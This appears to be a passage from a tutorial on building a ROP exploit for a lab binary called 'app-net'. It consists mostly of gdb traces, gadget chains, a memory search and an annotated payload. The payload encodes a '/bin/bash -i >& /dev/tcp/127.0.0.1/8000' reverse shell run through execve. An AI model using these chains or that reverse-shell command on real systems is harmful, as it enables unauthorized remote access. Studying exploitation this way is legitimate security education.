0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141
=> 0x8099c11 <strpbrk+177>: ret    
0x08099c11 in strpbrk ()
6: /x $esp = 0xbfffe5a8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x0
(gdb) stepi
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141
=> 0x807629e <compute_offset+46>:   add    eax,ecx

Breakpoint 1, 0x0807629e in compute_offset ()
6: /x $esp = 0xbfffe5ac
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x0
(gdb) stepi
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141
=> 0x80762a0 <compute_offset+48>:   ret    
0x080762a0 in compute_offset ()
6: /x $esp = 0xbfffe5ac
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0xbfffe580
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe5c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d0: 0x41414141  0x41414141
=> 0x80748fe <strnlen+126>: pop    ebx
0x080748fe in strnlen ()
6: /x $esp = 0xbfffe5b0
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0xbfffe56c
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0xffffffff
(gdb) x/xw 0xbfffe56c + 4
0xbfffe570: 0xbbbbbbbb
(gdb) stepi
0xbfffe5b4: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe5c4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d4: 0x41414141  0x41414141
=> 0x80748ff <strnlen+127>: pop    ebp
0x080748ff in strnlen ()
6: /x $esp = 0xbfffe5b4
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d8: 0x41414141  0x41414141
=> 0x8074900 <strnlen+128>: ret    
0x08074900 in strnlen ()
6: /x $esp = 0xbfffe5b8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5dc: 0x41414141  0x41414141
=> 0x80c0f18 <__tens+2904>: xchg   edi,eax
0x080c0f18 in __tens ()
6: /x $esp = 0xbfffe5bc
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5dc: 0x41414141  0x41414141
=> 0x80c0f19 <__tens+2905>: xchg   esp,eax
0x080c0f19 in __tens ()
6: /x $esp = 0xbfffe5bc
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe7cc
(gdb) stepi
0xbfffe7cc: 0x0809cd4b  0xaaaaaa66  0xeeeeeeee  0xeeeeeeee
0xbfffe7dc: 0xeeeeeeee  0x08099c0f  0x08083f21  0x08099c00
0xbfffe7ec: 0x0807629e  0x080748fc
=> 0x80c0f1a <__tens+2906>: ret    
0x080c0f1a in __tens ()
6: /x $esp = 0xbfffe7cc
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe5bc
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe7d0: 0xaaaaaa66  0xeeeeeeee  0xeeeeeeee  0xeeeeeeee
0xbfffe7e0: 0x08099c0f  0x08083f21  0x08099c00  0x0807629e
0xbfffe7f0: 0x080748fc  0xeeeeeeee
=> 0x809cd4d <____strtoull_l_internal+525>: pop    ebx
0x0809cd4d in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d0
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7d4: 0xeeeeeeee  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee
=> 0x809cd4e <____strtoull_l_internal+526>: pop    esi
0x0809cd4e in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d4
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18
=> 0x809cd4f <____strtoull_l_internal+527>: pop    edi
0x0809cd4f in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d8
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7dc: 0xeeeeeeee  0x08099c0f  0x08083f21  0x08099c00
0xbfffe7ec: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe7fc: 0x080c0f18  0x41414141
=> 0x809cd50 <____strtoull_l_internal+528>: pop    ebp
0x0809cd50 in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7dc
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e0: 0x08099c0f  0x08083f21  0x08099c00  0x0807629e
0xbfffe7f0: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe800: 0x41414141  0x41414141
=> 0x809cd51 <____strtoull_l_internal+529>: ret    
0x0809cd51 in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7e0
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe804: 0x41414141  0x41414141
=> 0x8099c0f <strpbrk+175>: xor    eax,eax
0x08099c0f in strpbrk ()
6: /x $esp = 0xbfffe7e4
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe804: 0x41414141  0x41414141
=> 0x8099c11 <strpbrk+177>: ret    
0x08099c11 in strpbrk ()
6: /x $esp = 0xbfffe7e4
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0xffffffff
(gdb) stepi
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe808: 0x41414141  0x41414141
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax
0x08083f21 in _dl_get_tls_static_info ()
6: /x $esp = 0xbfffe7e8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) stepi
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe808: 0x41414141  0x41414141
=> 0x8083f23 <_dl_get_tls_static_info+19>:  ret    
0x08083f23 in _dl_get_tls_static_info ()
6: /x $esp = 0xbfffe7e8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0x00000000

So our function seemed to have worked perfectly! :-)

Control Statements

I thought of a few different ways that control statements might be possible but was unable to find any relevant gadgets that was capable of doing it.

Because of this I haven't actually implemented any control statements in the exploit but I will describe a few gadgets that might make it possible.

The main reason I wanted a control statement in the exploit was because quite often I need to move the return value of the function into edx but the gadget to do this requires 4 double words on the stack.

As edx wasn't being used throughout the function I would have liked to find a gadget like this:

1
test edx, edx ; je esi ; ret

If we made sure edx = 0 and esi contained the address of the following gadget:

1
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret

Then we could move the return value of the function into edx within the function, shrinking the size of the payload a little more.

This allows us the run 1 gadget different depending on the value of 1 register (in this case edx).

If we could find the inverse of this contional jump, like this:

1
test edx, edx ; jne edx ; ret

In this case we still have esi spare and we just have to make sure edx is zero if we don't want to take the jump.

Of course the gadget pointed to by esi/edx (or any unused register which a gadget could jump to) could be something similar to the following:

1
xchg [reg], esp ; ret

Now, instead of just running 1 gadget, we are able to change the control flow of the application in a much bigger way.

Of course these examples are just dealing with testing if a value is zero or not but there is no reason why we could check for a number of different values with a gadget like the following:

1
test edx, esi ; je eax ; ret

We could place a number of these to test for a number of specific values or even a range using 2 gadgets similar to the following:

1
2
test edx, esi ; jg eax ; ret
test edx, ebx ; jl eax ; ret

Obviously there are so many different combinations that could lead to different branches being taken depending on certain values, these values don't necessarily need to be values set by the programmer either.

Consider the following:

1
test dword ptr [edx], esi ; je eax ; ret

Or the following sequence:

1
2
mov edx, dword ptr [edx] ; ret
test edx, esi ; je eax ; ret

Now we can test values in memory against specific values and make decisions based on that.

Another option would be with conditional move's, like this:

1
2
test edx, edx ; ret
cmove esp, eax ; ret

The goal here isn't to give you all of the possibilities that might arise, I don't think that would even be possible (there are so many possibiities), but to show that using a bit of creativity and having the right gadgets you can create reasonably complex applications using ROP.

Obviously you are limited by the gadgets that are avaliable to you though.

A Second Function

I decided to add a second function which would take 3 arguments, the same 2 as the first function but with the extra value inside edx, this would be a value to write to the address that is being calculated.

The resulting function was:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

I decided that it would be best if this function could be run almost directly after the first function, so that in cases where we want to write the address of a string into a pointer to that string, the first function could be run to calculate the address of the string and then the second function could be run to write that value into the pointer.

This of course means that it would be best if the return value of the first function was put inside edx, so the first function needs to be edited.

Here is the new first function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0804cedd : mov eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807b086 : xchg eax, esp ; ret

Now we could run the first function as normal, followed by a pop ebx and the relevant value and immediately run the second function, whose address will already be in eax to write the value we've just calculated.

Running The Second Function Directly

Obviously to write the nulls we want to just run the second function with 0 in edx.

To do this all we have to do is make sure eax contains the distance from ecx (the top of the first function) to the top of the second function, which is 108 bytes, before we add eax, ecx.

I will use a technique I've not used before to do this. First we have to run the vulnerable application:

1
[email protected]:~$ ./app-net

Now, in another terminal (as root) we need to find out the pid of the application:

1
2
3
[email protected]:~# ps ax | grep app-net
25675 pts/2    S+     0:00 ./app-net
25681 pts/1    S+     0:00 grep app-net

So our application has the pid 25675, we now need to look at the memory layout of it, this is so we know the memory address range that we need to search:

1
2
3
4
5
6
7
[email protected]:~# cat /proc/25675/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
09f57000-09f79000 rw-p 00000000 00:00 0          [heap]
b771e000-b771f000 r-xp 00000000 00:00 0          [vdso]
bfabd000-bfade000 rw-p 00000000 00:00 0          [stack]

The top 2 memory segments are static, so we can use anything in these sections of memory, we will look for 108 here using gdb:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[email protected]:~# gdb -q -p 25675
Attaching to process 25675
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
0x0805790c in accept ()
(gdb) find 0x08048000, 0x080ca000, 0x0000006c
0x8056f39 <openlog_internal+217>
0x807a9d8 <fork+120>
0x807a9e5 <fork+133>
0x807aa3d <fork+221>
0x807ab00 <fork+416>
0x807abc3 <getpid+3>
0x8085c47 <raise+7>
0x80ae185 <__PRETTY_FUNCTION__.11707+37>
0x80ae2bf <__PRETTY_FUNCTION__.9288+31>
0x80ae300 <__PRETTY_FUNCTION__.9058+32>
0x80b0090 <_nl_C_LC_CTYPE_tolower+816>
0x80b0110 <_nl_C_LC_CTYPE_tolower+944>
0x80b0c78 <translit_from_idx+216>
0x80b6224 <translit_to_tbl+420>
0x80b6608 <translit_to_tbl+1416>
0x80b6a90 <translit_to_tbl+2576>
0x80b7434 <translit_to_tbl+5044>
0x80b7844 <translit_to_tbl+6084>
0x80b7e20 <translit_to_tbl+7584>
0x80b7e38 <translit_to_tbl+7608>
0x80b7f08 <translit_to_tbl+7816>
0x80b7f18 <translit_to_tbl+7832>
0x80b7f28 <translit_to_tbl+7848>
0x80b7f38 <translit_to_tbl+7864>
0x80b8320 <translit_to_tbl+8864>
0x80b8330 <translit_to_tbl+8880>
0x80b8340 <translit_to_tbl+8896>
0x80b8354 <translit_to_tbl+8916>
0x80b837c <translit_to_tbl+8956>
0x80b8390 <translit_to_tbl+8976>
0x80b843c <translit_to_tbl+9148>
0x80b8464 <translit_to_tbl+9188>
0x80b89c4 <translit_to_tbl+10564>
0x80b8c64 <translit_to_tbl+11236>
0x80b8ec8 <translit_to_tbl+11848>
0x80b9138 <translit_to_tbl+12472>
0x80b9588 <translit_to_tbl+13576>
0x80b97bc <translit_to_tbl+14140>
0x80b99d8 <translit_to_tbl+14680>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) x/xw 0x8056f39
0x8056f39 <openlog_internal+217>:   0x0000006c

So we can get the required value into eax using the following:

1
2
3
4
5
6
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
[0xaaaaaaaa - distance from ecx to address that we want to write zeros]

But we still need 0 in edx, so far we've only used 1 method to do this (xor eax, eax and then moving eax to edx) but we are no longer able to use eax so we are going to have to use a different method, here is 1:

1
2
3
4
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value

Here we are just setting edx to 0xffffffff, which is the maximum value that edx can contain, and then increasing it by 1, which will cause the carry flag to set and edx to contain 0.

Now we just need to call the function as normal:

1
2
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret

So now in 12 double words, or 48 bytes, we have written zeros to a part of memory (the functions are contained in our padding section which is of fixed size anyway).

The Exploit So Far

If we put everything we've worked out so far together, we get to a point where we've written all of the zeros (or null terminators).

Our notes should now look similar to this:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

#################### Function 1 ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0804cedd : mov eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807b086 : xchg eax, esp ; ret

#################### Function 2 ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

################### Padding A's ####################

A * (532 - len(payload))

################### Application ####################

0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x08057b7e : pop ebx ; ret
0xaaaaa8e6 : 0xaaaaaaaa - 452 (distance to 0xffffffff value in the
       : data just before the function
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the distance from edx to 
---------------------------- 0xffffffff at the end of the data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xaaaaaa96 : 0xaaaaaaaa - distance from ecx to long arg 0xffffffff (20)
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the address of 0xffffffff
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
---------------------------- write nulls over 0xffffffff
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
---------------------------- ecx now contains the starting address
---------------------------- of the function
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa96 : distance from ecx to 3rd arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to 3rd arg null terminator
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa66 : distance from ecx to -c arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to -c arg null terminator
0x08057b56 : pop edx ; ret
0x08056f39 : address that points to 108
0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret
0xeeeeeeee
0xeeeeeeee : junk values
0xaaaaaa5e : distance from ecx to 1st arg null terminator
0x08057b56 : pop edx ; ret
0xffffffff : max value in edx
0x0804f594 : inc edx ; clc ; pop ebp ; ret
0xeeeeeeee : junk value
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
---------------------------- write nulls to 1st arg null terminator

Now we have to write the pointer values, we can do this by first running the first function to figure out the address of the string, then running the second function to write that value to the correct place.

Let me demonstrate how to do this with the pointer to the first string (which currently contains 0xbbbbbbbb).

First we find the address of the string:

1
2
3
4
5
0x08057b7e : pop ebx ; ret
0xaaaaaa52 : distance from ecx to the start of ////bin/bash
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret

Now we should have the address of the ////bin/bash string in edx.

Now we can write it to the correct location:

1
2
3
0x08057b7e : pop ebx ; ret
0xaaaaaa9a : distance from ecx to the ////bin/bash pointer
0x0807b086 : xchg eax, esp ; ret

Done :-)

So in 8 double words, or 32 bytes, we've calculated the address of the string, and address of the pointer and written the address of the string over the pointer.

Finalizing The Exploit

We will actually set this pointer last out of the 3 pointers because we will need to set edx and ecx afterwards.

Remember edx needs to point to nulls and ecx needs to point to the beginning on the pointers (the address we wrote to here, which will be contained in edi after running the second function).

But to set ecx the address needs to contain nulls so after running the previous sequence, we can set both ecx and edx to the correct values using these gadgets:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0x080a3f72 : xchg eax, edi ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x080a8466 : dec eax ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret

Now the value we want in ebx is at the address pointed to by ecx so the following will give us the right value inside ebx:

1
2
3
4
5
6
7
0x080838e8 : mov eax, dword ptr [ecx] ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop

Lastly we set eax and initiate the syscall:

1
2
3
4
0x080a8576 : pop eax ; ret
0x81fffff4 : (0x81ffffe9 + 11) 11 = execve syscall number
0x080aa1cc : sub eax, 0x81ffffe9 ; ret
0x08048c0d : int 0x80

Some of you may have noticed the mistake but after building the exploit and running it you will see this fails with a segfault and we get no shell.

Fixing The Exploit

I left this in here because it demonstrates nicely the types of problems you are likely to run into when developing these exploits.

The problem was in the functions, with our previous exploit the gadgets were all run in sequence so it didn't matter if we overwrote previous gadget on the stack as we weren't going to use it again.

In regards to the functions though we are going to run them numberous times so we must ensure that nothing that is vital for the application it overwritten.

The offending gadget (present in both functions) is:

1
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret

The problem here is that the first push eax will actually overwrite the gadget itself on the stack.

Let's visualize this a little, just before the above gadget is run, the top of the stack looks like this:

When the gadget is first run, esp changes value by 4 bytes, like this:

Now the push eax instruction is executed which causes this to happen:

Obviously this is undesirable because when we go to run the function again instead of running the actual gadget it will try to change execution to the value that was put here in the gadgets place.

The only way to deal with this is by removing this gadget and replacing it with something that doesn't edit any important parts of the stack.

One way I am going to solve this is by returning to the main application and moving the value into ebx there, this will however increase the size of the payload.

The second function is easiest to change:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret
0x080a3f72 : xchg eax, edi ; ret
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

